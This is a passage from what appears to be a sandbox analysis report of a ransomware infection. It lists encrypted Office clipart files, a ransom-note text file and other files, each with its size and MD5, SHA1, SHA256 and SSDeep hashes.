SSDeep: 1536:Zhtio98+xUuquJzYcLHddUoyJugSQB1j4YWv4uIiHXjdkXE90RQ:ZJ9fxrqpcDdwuKfUv4GHxX90RQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\3f3kdvZ\BTlNsw.csv 64.75 KB MD5: 78ba31d80cf04ad8b7fb1e7242fd76c6
SHA1: 2b77a8868dafbaf574c1b072b401c59e291e8c83
SHA256: f06b8dbe09d2431df0899f156f8f85d9fbfa2628367237dbea6b6f3057c47bd1
SSDeep: 1536:CQJecysecqj4wY8E1eNlA3+b1VbujkC7Lat8HJgekEx1XGhR99eHQ:zl00HL8Yk1Vkh/akLx1Wz4Q 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\3f3kdvZ\lZWl0fATxvg5Rw_ S.odt 68.62 KB MD5: 0d62f60233f2e00ce083dcdcdc1abe8d
SHA1: 0a34978cb691bcefa775dabf9aa8d66ef816e48f
SHA256: 6761b78077cbaa37da66dc121eda95209ad2159a7b7432f0f405c48eec9e7ecc
SSDeep: 1536:Wj/v+7LmCWP6hnsfVEXHMS3DJ1S1WVrrMI9X/+ppXozb7dYLBXQ:Wj/viiCWP6hnsfVEX73lkfePqXG2XQ 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 19.77 KB MD5: d06af5f79b0ce065c550c014f034dd2a
SHA1: 6ddceb2909bdf799aabf022301b49c373c7c7a21
SHA256: 493112fdf51158057d3f6c4e085515b183f397b9d7bfb9bf79d88655d843bd6f
SSDeep: 384:ETZJk+jbwlcgytCaVLfr8JeTCOg+bAW10aJcz4hylqhjrZS:ETZJkDl7OVLfrCRgAW10aY8yl6Q 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 40.05 KB MD5: 3041510ef3eebd3346d96728fe9bf082
SHA1: 97da84f33e972f968f310341b2626fb9d671aa24
SHA256: 31130d4c2e77a7121ade0511a10d2358c1eecb0a11bd4da2978d25541c8b40e7
SSDeep: 768:LOSeyTZZAXN9YAb+sC6HEwxyEztRi6rxy9lfs1QAdKp/Te2L9SfMmVCsQ:KSTTZK9TdC6lyEbi0+lfs1QcKp/zBSf6 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\!!! YOUR FILES ARE ENCRYPTED !!!.TXT 770 bytes MD5: 1b7e0d22b76244b58e04236c8444c774
SHA1: 78bf89106d1c711d67777206c80a2761050227a4
SHA256: 18b757cc700393795762810bb9dfcf130db6c96192a1330742cec4322208f2c7
SSDeep: 24:mu8y18ZVJ+WFmfi28FPZbqx9rsq3Ln9i3:mC18zJS5uZbqTrs8n96 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.52 KB MD5: 0b0700ad63eccc74c316242d56f1070f
SHA1: cb2d9e77001173cdc0e8627c77232dac0b61e886
SHA256: 887954567badcefb006fa739b9f6e5500185b5cc7d024f589a3a247f489f4fd0
SSDeep: 192:YeZ0wLeA4IxPq+FBdV+PkNdgo5TCno8TRhe44RNd0nQDWS77ktkCp/6:HZ0wwIxxdV4CfQFHeHjc3xZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 15.99 KB MD5: 58b8a86978b96ca228a3e114a4d027fe
SHA1: af9f35fa60bd8685d952084d28bc008de2302603
SHA256: d6880e26a368a89ae2a35e6d95798f8bad707afa58af0a880aa0768696c990e4
SSDeep: 384:IV/CAFtYVWI0FTsQOPTOW0dsu9iXVYUyGbZS:IVv7KV0FHQSW0yuyv7bQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 7.99 KB MD5: bea85855c0f57fa9d1c2c83eebb76554
SHA1: ba4bdb338189cf6213aa32c506cd81b2eb7f5e97
SHA256: 230d6d91e19c3a94c27b0bc2450d2a903a6d93b783bf7a5dff60100411535891
SSDeep: 192:X0H98uJiQJxSB3F4bSBFYPmEC/EqD0tr5G37ktkCp/6:o8uJioy3qbSBFYPvC/E/tr5vZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 9.38 KB MD5: 127cc16dfef70d8ed91b80071f862e71
SHA1: f30221f6fa6d443e878b86e4399b649fedd33863
SHA256: 0668db84b9a57aa1db455ada7d3f3f7b36851ad6d344ce4e1d467ffb950ecd7c
SSDeep: 192:NFXWgrMW2co3ZxsMJCgjVbW4MYrBG/b2uiKnXmOvSlS7ktkCp/6:jXWgrMCoIMIyb1hBG/q7KnX/vSDZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.97 KB MD5: 4892dd3191dae897f7b14cdd6a6266f0
SHA1: 972bab9c1921184bb782afea42ca446ebcfbf816
SHA256: 078cb4346dcecedb51eb8bd514ac49eec35b2ca03eb0106b3a3618865cc3f6cd
SSDeep: 192:dUuliiJtC89BwhE3OFm9k2M7WAai//Pz5LsFf27ktkCp/6:yUig9BweOFUkT8yPlCJZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 13.08 KB MD5: c5d4238dfe8dd9bb5c4b8da59e75d808
SHA1: 048b0a647a6c1b92e0b8ab4169af81c604ffd697
SHA256: 908334923a937c619ac60cc6160f4631a78bf49f16a3a97756f5a2b3c7c5f9ad
SSDeep: 384:SBqja3sBH1lHKuebNHhtOtzH2lbNRTICuF8QZS:SBqfZ6uSWtr2lPMtvQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 1.97 KB MD5: b013d5abe2c20ed161a8f7f33fd2ccdc
SHA1: 35afa998cf6dd7ec63b67ee378ba1d432e829120
SHA256: e0cc9dc6282d139997695abfea79b6daff13ce821352f6b02981997abff4f38e
SSDeep: 48:xl9Gl6uu5HvgugtVR5kFj93+39rQpR62idl6rKj:xl9O6ucpgtV7kFj1+NrQpwZ66 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 13.88 KB MD5: 5efafce1ee84d2611379a52133bae10e
SHA1: 36473ddd6b560208e0ab0272f68d6e596f2604ce
SHA256: 8fe5eb40d8427f7fb5be8a8f59c4c12c56785b3931c87e07aca99d61046bfb79
SSDeep: 384:PtVDa+xizu9PMcS2WDjaINUcZPHSAQTzJZS:P3aNu9apWcdH7QTVQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.86 KB MD5: 5f8e64c3cb2238ccb91f4be1542f4531
SHA1: de54a35e4bdf9c2219da846a95eeddf37e2adcdf
SHA256: 986d6c0cda234bfc14fd351ab09bed6edfe7bc6b5546087f0d25b4b602042308
SSDeep: 96:4vawJ/LMUvlQcHzVJ/XqsnvBQ8R/0f7B7/YgL7U1AHV7kFj1+NrQpwZ66:4vh/Ljvl9h3vnRcVQeU1A17ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.53 KB MD5: 5fc3cddaaca5953780ed13b67ddf6ae4
SHA1: f09617871c55af1cba2e2e9fa8cbccb951a00d7e
SHA256: c6ed13ff6ff7f08b6af8516bf673c8fdd5ee3ff7950881e195b50474fded68b0
SSDeep: 96:5hG1K/U0e7s7Kn5/cDQFaHYh8ziMgO1GxinrpIJdqV7kFj1+NrQpwZ66:5hiG+71npcDQI0KDCK7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.00 KB MD5: ba17921134b5d443b683abb32b1e9f0f
SHA1: ccd3b2b7acc9079c72ed1ce590685d2e8d9857b9
SHA256: c8a4b2f41f985be9a63635b5ed6ce9445fa6b976f55c479d19e43dd9d5c36c8f
SSDeep: 96:GooA5kRs1xFMa8HYp3mdWe2s+rV7kFj1+NrQpwZ66:/oamsyHYp3mE7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 11.83 KB MD5: 4c0f913745a66863d3175937e06cd5dd
SHA1: 038a85276893f0b7ee25c9d51e0d807abe04ce1f
SHA256: 1a5a99a1b45f6bb5186ee9e89b51feecf049ad981141a594a9e9547018cbd00f
SSDeep: 192:gxbP+HyaxHnrq/3zcqH6RGOVNNJwew1CnxyAFzAAQKtoVDyM2Wb6XYfKB5Kc7ktQ:qbPpQ4z+V3ON1xARAA1oVDyMLUYmMDZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 16.41 KB MD5: 941ade854f6a7b9cc5fac26926f23821
SHA1: fe53bb8d2453d08cedab1dc94c99257800f8ccfa
SHA256: 07c74aad6977b42b1dc8de9375fbacdb6c34e220e2f941f7b0e5ab35053fc308
SSDeep: 384:/QZtrxPwMvYFxi522WUnnC2aQS2D8EvLgZtSM4YZS:/Q9Prmxi5JjnUo8EvUDSMfQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.28 KB MD5: 6383c17486bf933cac8c501f482e929f
SHA1: 540a670e48924440bd0efce1163bdb0eeb93250c
SHA256: ad4c8a76cd442ec2906801b88903f3eaadea6da0029cd3d987e8cc977c22dcee
SSDeep: 192:gi+ehl8WaUEUq1WHdYbzQoSyL+V3XLl9ceh65vhAFToHWgc1Ti7ktkCp/6:b5cF1W9IvSyO0eheuF8Hfc1BZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 14.41 KB MD5: a0b43d7dbba897e2d23f39fd42bc1929
SHA1: a62ffbce1181c66d150181f66e97eb219188dfcb
SHA256: c34651e2683cfc927e2a3925c67ab93ee355cb87faff16a321d4f2094db7fb53
SSDeep: 384:oeKpk4b8VrOZyyw/y9Iuk4IkkU84vEFLcrq05ua7gxjpOUNZS:oemk4b+OZr0uWyEF57acxt/Q 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.72 KB MD5: 97cbe880ec15b21324d7a43f056531a0
SHA1: e97ac4eaf05d43475f3eb89862b8e558a5420f55
SHA256: 412feda89e95c0521b7fff141f8109d2ba186dce77a3e9c97cff342a8ac6d7ce
SSDeep: 192:PsYUxA6RbptvkUgl8n2vTaGtgpVs7ktkCp/6:klxxN/M+2G3zZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.36 KB MD5: fc9ecf681acc3e9ad469c5a461d6a322
SHA1: c63ccec9bb24fe878568d346b361389c9311a4ac
SHA256: dd3e905e561664a29da964a978ee73165cb283c3490d20bf662b5dafc2195bc1
SSDeep: 192:B7VvYW7dYID91c93M/hJCzfKuR1z3kjNndO7ktkCp/6:RXRN3c6EfJj3eNdZZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 5.75 KB MD5: 3ddf0ca256984e76e54b426d1d52b131
SHA1: 2b1ed1d716c0559348f3727c3b0059a5c86fceb4
SHA256: 9bfb665a6e020ecea25f0eecbc9a4e42fdb368e88b451f0c9a86b6326c0167f8
SSDeep: 96:cISAUVaJ2dWGcbU14tndweABWBesdKgAe8MQ/1qdvwB5kn2bSV7kFj1+NrQpwZ66:cI0VX6ftZoeKgYZ09YPa7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 5.35 KB MD5: 73eeaabab54612f9d5c40eea26b06546
SHA1: e3c4b4fe0a7c492aed450d1784c8bc1e4f67ad76
SHA256: 049414d0fa20374c86d5a153c155903123b72d55ae7da8f947bb7dbe3f21b207
SSDeep: 96:AOrvmZR2iEXmnpUlSKoPwa8Uekdu7KHd4vjRzquJSkKh/0VrXV7kFj1+NrQpwZ66:AouZhEU+a8UHVsjRquJR+0Vrl7ktkCpS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00790_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 7.02 KB MD5: d2ca6add79e21c596b8299f0040cc912
SHA1: 4190b0a231cede34eab5a6f472e527a6f62cb568
SHA256: fcc5090524b5d1df0b4f46d353509a78b1f8fee67c9d573826cb2cab2d73a421
SSDeep: 192:BX72M/7ioEayhd8bgbGhZWL3j/zmfCL9F0PF7ktkCp/6:BXS27b+8MbGhZgGc4SZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 21.56 KB MD5: 33d20fac00c43896e1cffb328715e7b1
SHA1: ecd4fecab5bf8af95e6d1b008c9ea79b52556b88
SHA256: c4258f94b247c9e3d5b66a6b8985be6f4caba2d73864ae7274d1b8e1cad46042
SSDeep: 384:36utI7r75mhA18JJfGyg+Z14xJMfNJgtNuBRZS:36utC5d1ccyCoJ28bQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 12.05 KB MD5: 6e20296ac49dcf11caf66d6aeda085d7
SHA1: 2c6ce401128593ebfd90107c56739b351ef24f52
SHA256: cbc803f70e4c2a3eff2c7409c265e5e07495bf19872382fcf5b677bf61ee56f6
SSDeep: 384:76MSBM2NjH3JDDePieptk/8VBBG+30B6L625ZS:mBM2tH5DSieM/8VvG3BSQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 15.55 KB MD5: 598f05352f85bcf84b941e97cdde7e20
SHA1: effaf9860ea4743aebdbe779aa8b39d3c2ecf165
SHA256: 96ee1af7dd67e8099f5c494fac2f7c68fa986e7e9ccb4f5c88088ee1d15eae64
SSDeep: 384:Zo0C+pRUxi+d5czRmzlsIoPRsXYUzD44ZexSyVs/lu4QAOZS:Zo0C+cE+dsmZvIizD4pa/reQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.38 KB MD5: d8d0edd93e8b208f5fa0927d986c2870
SHA1: f08ce5400058b5d34f6c8b0be3bf5c627d28629a
SHA256: ffe6722e966aadbfbfae6268b7e2904e2e591b6ac94f872e541c6b3d011550d5
SSDeep: 192:nmyNc/V/62Mxlr2WHbpJxYQeFifGqxHuLM0vq7ktkCp/6:miip62Ul6WzxNeQOkmM0vtZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.74 KB MD5: 10d2433517ae3ba29dc829e39cdc62f9
SHA1: dccb230675b878644c99297ed80cc7aa7fdd6c35
SHA256: 8c36c9ae28aa1fd53f5c79058d718a9da82a4b92183318187c5c80e0969e2623
SSDeep: 96:aFqUg2sSMbacln9xJAZKBZrwEhV7kFj1+NrQpwZ66:2qX2sHlKZKfrwEr7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 3.02 KB MD5: c33a79156902d8fdcc0eac7b785a5d40
SHA1: 688e8494a367f987f328fc4914fcc586d7dd613b
SHA256: 775666e9b9ecc9771b6641a21ae9bf7fff63742542a6e814706dd701dfda16d5
SSDeep: 96:mpz2+qHrlTO6H0oXATTsIYcnsKV7kFj1+NrQpwZ66:mpPqL/HTAXswsi7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 9.25 KB MD5: 086f4755356366f5e896d148f23a4f4f
SHA1: 72077b41247fbbb4cd9f9952a7ce470120f1f596
SHA256: f670a14dc260ac3e2234760bb31a1933cd99a081b6aeb938bcb55d196c0382c9
SSDeep: 192:X7uCwhJ3c/p1rIpLUbopueNvRasgGWCUTVQJrRmr8PXjzrYYfVS7ktkCp/6:ru7apdIpLUbguyvQsgGWvVQFRmr8Pnkb 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 3.25 KB MD5: 57ceb392d8b0d5a5afe2732f40a06e92
SHA1: c0332888847721ec950eb073aff3e8fcc46cb588
SHA256: c7128671b5cfcd9a6c3bc05f9388c0913b70c892ee0802d9156966632da5febd
SSDeep: 96:WO3lhImzZw4wjQC9UADM4HyjWQRftmqpV7kFj1+NrQpwZ66:WOHImkjQ8fQ4IZftb7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 27.17 KB MD5: 4779200ebfc72534f40083dbaf7b43c1
SHA1: eafd74ac6f55da13c3c4a0c15e755af9f82c5d8e
SHA256: 73b035b3013895e4b4a2898e0ca2fb16c814e2d2dd7095c2de80488cdaeb41db
SSDeep: 384:P0ynmpCBW4gmngonZeo2lx7iPT1QGFdfgx8BgeDKnfxYSMxwtRjqMDysox5iHFYQ:7mvMUBC1QG/fG8BBKfKSkK/4x4HFYQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 5.13 KB MD5: 7f265d9c5786ae0d90d5c54e90967418
SHA1: a972fe254ec450d6cbe80894ef328c3e429b7c54
SHA256: e5e1164eb579e8e91991c2bb2f184de239717bc192e5523643d94cc7727fd5fa
SSDeep: 96:wLBf1zMi1J/nAQ+Okz51NGKotO5fbvgv+fvnYKIiuhWe21T8U/klLV7kFj1+NrQA:wLB6knAQqccpLgvIvnYKxuC1A9lZ7ktQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 7.16 KB MD5: 3381d5ed22e8ce0516676a03a013be39
SHA1: e74a8799cf7e424946f0eec44ba7a9117e5fbfb4
SHA256: b346974799f13a9c514e62bc1d2d7eb7c741446112174bba5d9481d1c1df8450
SSDeep: 192:IZu+iLWwtf2fuRS1WrbB1/lIWir7O6U7ktkCp/6:Is+mtfhwWj9Idri6rZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.66 KB MD5: 4d01d74ab89c66bb77a20b8119a5e031
SHA1: 7f98a9b12e02036e7e4e26d36e9c0585859bc8b6
SHA256: 3a3a11caa5353a127ec25d4003b0ffb8fe93cf686b3886b96b9357237c1d9cfd
SSDeep: 192:L/Soy0Px9GSSzdOnH9dlKDM1Z3z3NtL7ktkCp/6:LKoyI4JaH9nK41v+ZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 7.94 KB MD5: 91e9472f44f7cb520420d86a1ccb772c
SHA1: 438a4b8d51cd028457f327e028028ebb7fa0f92e
SHA256: b7a0d3c9745b52b88a30932bd2a63b48ec7f38884612a34f3666e7d30ef34492
SSDeep: 192:M+C+zJIwNDu3kF08Mn7yuw6AyaHsX19PW7ktkCp/6:Mn+9R03ky8Mn7yuw6AyaHkhZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 3.52 KB MD5: 085d79b723c9478948fd5839e7f6401c
SHA1: b7cf17276588a22d238c427f71d682e9248d473d
SHA256: 9495b9ed7e6ccb07b06080c6208c17a2054094cff1553893c67905f60828c04f
SSDeep: 96:85vtY4uglpcqi7fm5CwcCGeicV7kFj1+NrQpwZ66:89wqi7fmswdl7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 10.49 KB MD5: 3b33216953cb34546f55f87e8152a75e
SHA1: 7d82d1b5934097db06f0ef5ae2b25431aa0945e0
SHA256: 7ae32508f8375eddb0f2fd290f45bd9b38f1104ed006e8238c016851df7e3b1d
SSDeep: 192:Xv4qmZwkYtjIDvAnrUoFMu6MB+NOg2TY3czWNQdw3CfGbArW2qNwdplqo7ktkCpS:f4XajAQ4oFZEv2TYMCiyArZuwnwHZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 3.75 KB MD5: 6376be82fe8be47eec5a18add26f101a
SHA1: 15eff473de72a52a685e4e65aebfa3a9a3be0cf0
SHA256: 4ceecfab66690c49517cfe0999b2d7838043b9fd5de1a0edd9ba25460f43768c
SSDeep: 96:et+MZuD54OzCOZEGmRny1bGsV7kFj1+NrQpwZ66:etny50jan7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 7.38 KB MD5: 51628d186c8fa84c970c029bde530169
SHA1: dea6890febc08e4434abc673b0e01071979699c0
SHA256: 9503594e15b373396940624139e393fcec41c330d5b6af8e721725082f691aad
SSDeep: 192:I/wnyA2eLUw/e/8bRR7yi3WR2WD5noHCsOmLlB7ktkCp/6:jceL72/szOi3i22kRoZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.80 KB MD5: 78ffeb4fd3589044fc5ed7a32245c923
SHA1: 40b153602c940589e5882ce9e4355ed92bcc0cef
SHA256: b4380c5f146bb656b161d2add91eefc0b14bf848bc40079f349440129041c65f
SSDeep: 96:oHxls49+jGfTjaKHZMjWJFWM1JilbL3W1tzxgaNWkuV7kFj1+NrQpwZ66:oHxlX+yfTmuBWUilKtzxDID7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 7.94 KB MD5: 623df738dfc91b7d3881b1b19b41ddb9
SHA1: 9f7aed601fe8469000bc9ec5cdb5b37d22c77e9c
SHA256: 8a9e7f06e755664209df891f4ecc11eabb744eb3ed018ba1593166b9ca327592
SSDeep: 192:pTAdQgdEFbVeKUQ3J1rdF1MaBNYITH14j/500W7ktkCp/6:lAdQO+bVQQ3JBVfTmjh0yZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 5.97 KB MD5: adf570a846eb536dd0e9ef2d02b35c89
SHA1: 37fbaf983a651f7314bbaf0d5910543f86369307
SHA256: 086e144130340604cf565ad6f302ae0b75935c563b7729f61cd6f9309503788c
SSDeep: 96:4scKbhXhgRkb3HjwrC6UxOzTGlAsmPPM5XLoVvX5IC9liicsE6OliV6X/s1IvPid:4PKFXhgRO3DwmdkiYXaLoVNljPOlilaK 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.96 KB MD5: 8bffc52bea137ee259e038be7923473b
SHA1: 47f362f539f38bb0db44dba247d185cf808c62e6
SHA256: af6f1849fd426fd897e1def75d712de59a9fa131e85b8ebba1063b890adb7155
SSDeep: 192:8NtJgwLzP++ParkRwKHwwJ9VPHy4DsDDoLHuCSwYxvvZcPQH0pVO07ktkCp/6:cJvlSrk7HwA9hfsDrCSwGBkQHwOLZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 9.08 KB MD5: 4ce6977df969916a98630660166ca2eb
SHA1: 3b0c4b5870950cfa882e2a0229d6b65cd6537c72
SHA256: 0b6ad1daa9343ae333c2f2e433ae8ca942ba701df21afbdb2d5a4a459846d7db
SSDeep: 192:dkcwFrdJu6jvxySNydgsYqYfdikKjILwU0a2qK87ktkCp/6:qcwFdzvISN7sYqwdikKjILOaAjZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 3.44 KB MD5: f0e01803957ab5a5677171c2b17812ac
SHA1: 21096ff7b10505d08755398ee341067ec43fdb2c
SHA256: a7929e2a0ba5656d47588949d1b5f4f7c7d34c4cff9af91a0f28782a25a2c54c
SSDeep: 48:OvX+sGSkOiLeNp5fVUsIlflCMZR8Vh3feA7FslmVR5kFj93+39rQpR62idl6rKj:W+Orp5DIlflnUxHh3V7kFj1+NrQpwZ66 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 5.66 KB MD5: 863344065b9d7afa1e25b6e90759759d
SHA1: a3c8d4ddd4e1fc7025b28fb349395d1718ba97ce
SHA256: e933e665fb5d434584d2700b9f54da78ec01bfa86a277c43ca7c8141ac6ddd2d
SSDeep: 96:B/MpYyARuvDb5v96Czq002VTGZ9qZKRPFZX6yXOpt+HgszIV7kFj1+NrQpwZ66:9Yxvf6O/TG/UMdqGlzs7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.61 KB MD5: 88a31781acf7e087bb41861628ea35a3
SHA1: 76c33393a70af2cadec5cff05c90eb5d438af6fc
SHA256: 2ceb3c991b2c0ca38b4c2674f205b19b0e1b96de9230616ce5d7c8ca7f9f0366
SSDeep: 96:EKBP2CcIcCh6BxbbzNb89F4XQkiPrZKgoV7kFj1+NrQpwZ66:EKhwaadXNbnXVorMgM7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04384_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.35 KB MD5: d3c54b5332e00a3f8d7b4101b5f02ffa
SHA1: 07251dc0f5cc26f1855388f01b645497d69325c6
SHA256: 97fe8c20415ebaa75e0857d7cd1d970d115f74143a3b969928e2dbe22b3760df
SSDeep: 96:XmZ7xh64xjVryemgb4G4FA9l8JoG8SyMg2yxIcJrVb/CSRXGd4UV7kFj1+NrQpwt:X+BU69lqoGryayxI0F44o7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00146_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 29.74 KB MD5: 109cdaa7fb074f0f2ec21a607b60320b
SHA1: b4584d22fab43ba6c86c3c62ce20f36b1af9b15a
SHA256: 4a2cb235b38d4d33259a9fd3d343590e19971c7daa67d19eef0e806105a88b04
SSDeep: 768:rYMGZTPDLjvndf8nEv9NuHLQSkquJe5E/1vuBuvZQ+oQ:rYbZTPDLB1LuHLnkqAe5YvxZQNQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00155_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 12.83 KB MD5: c092aa02af2b2bf05be77f7802c90f99
SHA1: f3d91268e8106a4021cca4f00154a1f54d4a2ffe
SHA256: bd1de479effaf3695c9c9f5a8dd47dc2323c2c67aa1fe511c4bb7a6ca55274c2
SSDeep: 384:duJQt0oUhHYnx5N/uOlmalw1a9JPOGJzKT5zrCZS:CQtOHIZ/uGw89JmGJQz+Q 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00160_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 23.46 KB MD5: 41b2a9d8959b45f4230be08e74d539a2
SHA1: 6129db79909294e14491c6b2e58c87b2d48bb731
SHA256: 33d4f615e53fda41bd44d06410db10fe6aa222e27c77a4b094ff0d0bbb428c42
SSDeep: 384:JByJ4TNtmBSBLLg3iLkTut4bf64f0sQD76J3a7hgscd4KpJZJh18K762uhglDG/M:LZLg3iLktbflf0H7oSqscLL15BEQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00173_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 17.27 KB MD5: 290b98677635a511a0e8e4764270dfa3
SHA1: d8621137a9fc218c1909d1ca918c21af7f7f2b76
SHA256: 768e799c6e5523b2516eb4dce7c027fce6e430061bd529a997e5de6dd4dbe87d
SSDeep: 384:e5vFKYt95/VMMQbITlkg/2emwBZC5BxCP8n+JUgaZS:eBFKGbtnqITlkwmwKBQ0+egaQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06102_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 17.21 KB MD5: 755175306d055e3173887cb0169783eb
SHA1: 655496a4feced3507de1b90721d6a7abce7671d0
SHA256: 8ab21694bffe0bbbd8738be62c5a5fc7dbbb5423ec9e263d326a0e10bc52c705
